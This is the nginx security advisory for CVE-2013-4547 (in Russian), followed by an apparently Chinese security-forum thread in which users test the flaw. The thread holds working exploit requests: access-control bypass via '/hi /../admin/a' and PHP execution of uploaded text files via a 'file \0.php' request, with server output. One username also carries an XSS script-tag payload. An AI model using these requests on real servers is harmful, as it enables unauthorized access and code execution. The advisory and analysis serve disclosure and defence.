Hello!

Ivan Fratric из Google Security Team обнаружил ошибку в nginx, которая
позволяет в некоторых случаях обходить ограничения безопасности с
помощью специального запроса, а также может иметь другие последствия
(CVE-2013-4547).

Некоторые проверки URI запроса не делались над символом, следующим за
незакодированным символом пробела (незакодированный пробел недопустим в
соответствии с протоколом HTTP, однако поддерживается начиная с nginx
0.8.41 из соображений совместимости).  Одним из результатов ошибки была
возможность получить доступ к файлу, закрытому с помощью ограничений
доступа вида

    location /protected/ {
        deny all;
    }

запросив его как "/foo /../protected/file" (в случае статических файлов -
только если существует каталог "foo ", с пробелом на конце), а также
возможность вызывать специальную обработку файла с пробелом на конце в
конфигурации вида

    location ~ \.php$ {
        fastcgi_pass ...
    }

запросив файл как "/file \0.php".

Проблеме подвержены версии nginx 0.8.41 - 1.5.6.

Проблема исправлена в nginx 1.5.7, 1.4.4.

Патч, исправляющий проблему, доступен тут: http://nginx.org/download/patch.2013.space.txt В качестве временной защиты можно в каждом блоке server{}
воспользоваться конфигурацией вида:

    if ($request_uri ~ " ") {
        return 444;
    }


--
Maxim Dounin http://nginx.org/en/donation.html 

[source]

乌云讨论

1#

小胖子 (不忘初心,方得始终,想想当初来乌云是为了什么。) | 2013-11-20 10:02

我擦,又来~

2#

养乐多Ngan (Love Lvmm) | 2013-11-20 10:05

是解析漏洞吗?我怎么看是俄语的,脑袋晕了

3#

小胖子 (不忘初心,方得始终,想想当初来乌云是为了什么。) | 2013-11-20 10:07

从0.8.41就开始有的,这覆盖面。

4#

sex is not show | 2013-11-20 10:09

看不懂..

5#

养乐多Ngan (Love Lvmm) | 2013-11-20 10:15

@小胖子 俄文看不懂,是说类似这样的 robots.txt \0.php 这样使用?

6#

ppt (http://www.wooyun.org/.svn/entries?|nuf rof gnikcah|) | 2013-11-20 11:13

我看到了又一波刷分的节奏

7#

GaRY | 2013-11-20 11:24

http://mailman.nginx.org/pipermail/nginx-announce/2013/000125.html

英文在这里。不过貌似测试没成功,几位有成功的case么?

8#

Coody (&_&) | 2013-11-20 11:58

...

9#

he1renyagao (<script src=http://xsserme.sinaapp.com/03h4FW?1383289085></script>) | 2013-11-20 12:01

@养乐多Ngan 应该不是这样吧 要有空格的

10#

冷冷的夜 (非本人) | 2013-11-20 12:08

测试失败nginx/1.5.6 ,球正确姿势

11#

养乐多Ngan (Love Lvmm) | 2013-11-20 12:13

@he1renyagao 打了一个空格了。测了几个,没发现有说明的漏洞。

12#

lpcdma | 2013-11-20 12:18

不知道这个漏洞有什么用。

http://www.baidu.com/test.php /../fuck/

这种会跳转到http://www.baidu.com/fuck

我看了自己的nginx服务器如果请求"/test \0.php",实际上就是请求的这个文件,这种文件很明显如果存在的话就是可以解析的。

13#

winsyk | 2013-11-20 13:25

这个漏洞不是像上次的那个解析漏洞,而是用来bypass访问一些被保护的目录。。

14#

Wdot (任意帖子感谢我一下,私信你一个xss.tw邀请码~) | 2013-11-20 18:06

试了下

这条规则

location /protected/ {
        deny all;
    }

直接访问 protected/index.php 就可以直接访问了。。。。。。,因为根本就不匹配

15#

xsser (十根阳具有长短!!) | 2013-11-20 18:10

GET /admin/a HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
GET /hi%20/../admin/a HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

HTTP/1.1 403 Forbidden
Server: nginx/1.4.3
Date: Wed, 20 Nov 2013 10:09:37 GMT
Content-Type: text/html
Content-Length: 168
Connection: keep-alive

<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.4.3</center>
</body>
</html>
GET /hi /../admin/a HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Server: nginx/1.4.3
Date: Wed, 20 Nov 2013 10:10:02 GMT
Content-Type: application/octet-stream
Content-Length: 3
Last-Modified: Wed, 20 Nov 2013 09:43:22 GMT
Connection: keep-alive
ETag: "528c843a-3"
Accept-Ranges: bytes

OK

16#

xsser (十根阳具有长短!!) | 2013-11-20 18:10

第一个也是403

17#

xsser (十根阳具有长短!!) | 2013-11-20 18:13

需要一个带空格的目录

18#

心伤的胖子 (天凉好个球) | 2013-11-20 18:25

自己测试可以成功,只要有奇葩的程序员,还是有很大影响的。

目录带空格是 bypass 保护目录

文件带空格就是解析漏洞了

19#

winsyk | 2013-11-20 18:31

@Wdot 这个规则不是这样写的,是这样写的。

location ~ /protected/ {
        deny all;
    }

20#

winsyk | 2013-11-20 18:33

@xsser 如果是这样,那是不是有点鸡肋?

21#

猪头子 (妹子,要不要我帮你修电脑) | 2013-11-20 18:37

@心伤的胖子 表示你说的方法未成功 @xsser

22#

xsser (十根阳具有长短!!) | 2013-11-20 18:40

@猪头子 文件带空格没有测试成功

23#

xsser (十根阳具有长短!!) | 2013-11-20 18:40

@winsyk 相当鸡肋,千万不要轻易相信那些个动不动就xx互联网的漏洞 信乌云 :)

24#

心伤的胖子 (天凉好个球) | 2013-11-20 18:45

pangzi@pangzi ~$ curl "http://test.com/test.txt "                                                                                    1 ?
<?php phpinfo();?>

pangzi@pangzi ~$ curl "http://test.com/test.txt \0.php"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<style type="text/css">
……
</style>
<title>phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>

pangzi@pangzi ~$ curl "http://test.com/test.txt%20\0.php"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<style type="text/css">
……
</style>
<title>phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>

25#

心伤的胖子 (天凉好个球) | 2013-11-20 18:46

pangzi@pangzi ~$ curl -I "http://test.com/"
HTTP/1.1 200 OK
Server: nginx/1.1.19

26#

xsser (十根阳具有长短!!) | 2013-11-20 18:47

cat 1.txt
<?php
phpinfo();
?>

27#

xsser (十根阳具有长短!!) | 2013-11-20 18:47

curl "http://127.0.0.1/1.txt%20\0.php" -I
HTTP/1.1 404 Not Found
Server: nginx/1.4.3
Date: Wed, 20 Nov 2013 10:44:24 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3

28#

疯狗 (谁淫荡啊谁淫荡) | 2013-11-20 18:48

@心伤的胖子 发下nginx配置?

29#

心伤的胖子 (天凉好个球) | 2013-11-20 18:49

location ~ \.php$ {
    fastcgi_pass unix:/var/run/php5-fpm.sock;
    fastcgi_index index.php;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
}

30#

xsser (十根阳具有长短!!) | 2013-11-20 18:51

location /admin/ {
        deny all;
    }
    location ~ \.php$ {
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME /usr/share/nginx/html$fastcgi_script_name;
        include        fastcgi_params;
    }

31#

xsser (十根阳具有长短!!) | 2013-11-20 18:52

@心伤的胖子 你这个是不是1.txt%00.php 都可以执行啊 我读书少 不要骗我

32#

心伤的胖子 (天凉好个球) | 2013-11-20 18:53

location /paypal/ {
    deny all;
}

目录是这样,同样可以。版本的问题?我试试高版本的。

33#

心伤的胖子 (天凉好个球) | 2013-11-20 18:54

pangzi@pangzi ~$ curl "http://test.com/test.txt%00.php"
<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.1.19</center>
</body>
</html>

我读书也不多,你可以看看。

34#

winsyk | 2013-11-20 18:56

@心伤的胖子 这样配置是错误的,你试试把nginx配置改成下边的试试,会出现403。。。

location ~ /paypal/ {
    deny all;
}

35#

心伤的胖子 (天凉好个球) | 2013-11-20 19:03

@winsyk 你这样 location ~ /paypal/ 就变成只要是目录名为 paypal 的都不能访问,无论是几级目录。

location /paypal/ 这个只是根目录下的 paypal 不能访问。

36#

乌拉拉 | 2013-11-20 19:04

我读书少,你们可以告诉我,是不是必须服务器上必须有一个尾部带空格的目录才可以跳?

37#

Wdot (任意帖子感谢我一下,私信你一个xss.tw邀请码~) | 2013-11-20 19:12

@winsyk

http://mailman.nginx.org/pipermail/nginx-ru/2013-November/052575.html 

这里说的就是

location /protected/ {
        deny all;
    }

38#

winsyk | 2013-11-20 19:31

@Wdot 我在我nginx上配置这个照样能访问,比如:

location /protected {
    deny all;
}

然后我在protected目录下创建a,在a目录下创建a/t.php,t.php内容为echo "hello world";

[root@test html]# curl http://127.0.0.1/protected
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.5.2</center>
</body>
</html>
[root@test html]# curl http://127.0.0.1/protected/a
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.5.2</center>
</body>
</html>
[root@test html]# curl http://127.0.0.1/protected/a/t.php
hello world[root@test html]#

在试试

location ~ /protected {
   deny all;
}
[root@test protected]# curl http://127.0.0.1/protected/a
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.5.2</center>
</body>
</html>
[root@test protected]# curl http://127.0.0.1/protected/
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.5.2</center>
</body>
</html>
[root@test protected]# curl http://127.0.0.1/protected/a/t.php
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.5.2</center>
</body>
</html>

最后访问的结果还是403,所以这种写法不对,记得改完nginx要重启下nginx或者重新加载配置。

39#

Nebula | 2013-11-20 20:20

意思就是说,常规条件下,连location ~ ^/WEB-INF/* { deny all; } 这个目录限制都绕不过了? 反正鸡肋最多就是用来做后门了!

40#

clozure | 2013-11-21 11:40

没啥意思,http://hi.baidu.com/tcpper/item/c8b540247179b7c4dcf69a93

41#

lpcdma | 2013-11-21 12:01

@心伤的胖子 这不科学啊。

42#

xsser (十根阳具有长短!!) | 2013-11-21 12:08

漏洞细节不说了,从补丁反过来看:

ngx_http_parse.c的617行和670行分别加了个p--,原因是nginx在ngx_http_parse_request_line的时候,本来有个对非法字符的检查和对"/"字符后的"."字符的检查:

538         case sw_check_uri:
......
593             case '\0':
594                 return NGX_HTTP_PARSE_INVALID_REQUEST;
595             }
和
479         case sw_after_slash_in_uri:
......
500             case '.':
501                 r->complex_uri = 1;
502                 state = sw_uri;
503                 break;
但是只要uri中有个空格,state就会跳到下面的分支:
598         /* space+ after URI */
599         case sw_check_uri_http_09:
600             switch (ch) {
601             case ' ':
602                 break;
603             case CR:
604                 r->http_minor = 9;
605                 state = sw_almost_done;
606                 break;
607             case LF:
608                 r->http_minor = 9;
609                 goto done;
610             case 'H':
611                 r->http_protocol.data = p;
612                 state = sw_http_H;
613                 break;
614             default:
615                 r->space_in_uri = 1;
616                 state = sw_check_uri;
617                 break;

这边把两种字符的检查都略过去了,所以补丁最后的方案是在几个空格后处理的部分都加上了p--,来重过检查

利用上面,越过null字符检查就可以不被bad request扔出来,给后端的fastcgi传个带null字符的scriptname,之后就截断了,如果php-fpm没有限制security的extentsion,而且可以上传个带空格的东东来真找到这个文件,就可以执行了。至于目录跨越那个,则是因为越过了对"/"后面"."的检查,而导致r->complex_uri标志位没有set上,也就不会在ngx_http_process_request_uri中去做ngx_http_parse_complex_uri来处理掉uri中的"..",最后导致location没匹配到,穿越了。

43#

winsyk | 2013-11-21 12:22

@xsser 赞。